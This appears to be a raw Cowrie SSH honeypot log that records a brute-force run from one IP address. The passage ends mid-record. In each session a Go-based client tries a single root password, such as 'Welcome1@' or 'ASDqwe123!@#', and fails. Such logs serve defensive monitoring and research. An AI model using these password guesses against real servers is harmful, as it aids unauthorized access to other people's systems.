{"eventid":"cowrie.login.failed","username":"root","password":"mx123456","message":"login attempt [root/mx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:14.589087Z","src_ip":"60.165.124.241","session":"9a4ad677279f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:15.829451Z","src_ip":"60.165.124.241","session":"9a4ad677279f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35524,"dst_ip":"10.17.0.5","dst_port":22,"session":"791ccaa49bc3","protocol":"ssh","message":"New connection: 60.165.124.241:35524 (10.17.0.5:22) [session: 791ccaa49bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:16.066139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:16.071457Z","src_ip":"60.165.124.241","session":"791ccaa49bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:16.310752Z","src_ip":"60.165.124.241","session":"791ccaa49bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"811202","message":"login attempt [root/811202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:17.040606Z","src_ip":"60.165.124.241","session":"791ccaa49bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:18.282419Z","src_ip":"60.165.124.241","session":"791ccaa49bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38878,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ebf457411c","protocol":"ssh","message":"New connection: 60.165.124.241:38878 (10.17.0.5:22) [session: 58ebf457411c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:18.516002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:18.521944Z","src_ip":"60.165.124.241","session":"58ebf457411c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:18.763267Z","src_ip":"60.165.124.241","session":"58ebf457411c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hbjkj@#123","message":"login attempt [root/Hbjkj@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:19.483907Z","src_ip":"60.165.124.241","session":"58ebf457411c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:20.725861Z","src_ip":"60.165.124.241","session":"58ebf457411c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41726,"dst_ip":"10.17.0.5","dst_port":22,"session":"65d5aaf5b2ee","protocol":"ssh","message":"New connection: 60.165.124.241:41726 (10.17.0.5:22) [session: 65d5aaf5b2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:20.963808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:20.969283Z","src_ip":"60.165.124.241","session":"65d5aaf5b2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:21.218819Z","src_ip":"60.165.124.241","session":"65d5aaf5b2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123...","message":"login attempt [root/root123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:21.975130Z","src_ip":"60.165.124.241","session":"65d5aaf5b2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:23.231745Z","src_ip":"60.165.124.241","session":"65d5aaf5b2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44866,"dst_ip":"10.17.0.5","dst_port":22,"session":"601709c70501","protocol":"ssh","message":"New connection: 60.165.124.241:44866 (10.17.0.5:22) [session: 601709c70501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:23.476335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:23.481473Z","src_ip":"60.165.124.241","session":"601709c70501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:23.720336Z","src_ip":"60.165.124.241","session":"601709c70501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"singlo@2022","message":"login attempt [root/singlo@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:25.858628Z","src_ip":"60.165.124.241","session":"601709c70501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:27.121446Z","src_ip":"60.165.124.241","session":"601709c70501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"759a757466d1","protocol":"ssh","message":"New connection: 60.165.124.241:49668 (10.17.0.5:22) [session: 759a757466d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:28.369817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:28.374982Z","src_ip":"60.165.124.241","session":"759a757466d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:28.626505Z","src_ip":"60.165.124.241","session":"759a757466d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456aa","message":"login attempt [root/AA123456aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:29.388520Z","src_ip":"60.165.124.241","session":"759a757466d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:30.643118Z","src_ip":"60.165.124.241","session":"759a757466d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54208,"dst_ip":"10.17.0.5","dst_port":22,"session":"128d38c05acd","protocol":"ssh","message":"New connection: 60.165.124.241:54208 (10.17.0.5:22) [session: 128d38c05acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:30.909528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:30.915869Z","src_ip":"60.165.124.241","session":"128d38c05acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:31.182117Z","src_ip":"60.165.124.241","session":"128d38c05acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"**********","message":"login attempt [root/**********] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:33.520426Z","src_ip":"60.165.124.241","session":"128d38c05acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:35.426013Z","src_ip":"60.165.124.241","session":"128d38c05acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60148,"dst_ip":"10.17.0.5","dst_port":22,"session":"6791007c0f51","protocol":"ssh","message":"New connection: 60.165.124.241:60148 (10.17.0.5:22) [session: 6791007c0f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:35.705979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:35.711237Z","src_ip":"60.165.124.241","session":"6791007c0f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:35.982224Z","src_ip":"60.165.124.241","session":"6791007c0f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome1@","message":"login attempt [root/Welcome1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:37.516794Z","src_ip":"60.165.124.241","session":"6791007c0f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:38.792537Z","src_ip":"60.165.124.241","session":"6791007c0f51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36342,"dst_ip":"10.17.0.5","dst_port":22,"session":"1840a5af6d5e","protocol":"ssh","message":"New connection: 60.165.124.241:36342 (10.17.0.5:22) [session: 1840a5af6d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:39.023036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:39.028402Z","src_ip":"60.165.124.241","session":"1840a5af6d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:39.282025Z","src_ip":"60.165.124.241","session":"1840a5af6d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe123!@#","message":"login attempt [root/ASDqwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:40.048571Z","src_ip":"60.165.124.241","session":"1840a5af6d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:41.304006Z","src_ip":"60.165.124.241","session":"1840a5af6d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39504,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f3a822843e","protocol":"ssh","message":"New connection: 60.165.124.241:39504 (10.17.0.5:22) [session: 32f3a822843e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:41.574322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:10:41.579380Z","src_ip":"60.165.124.241","session":"32f3a822843e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-n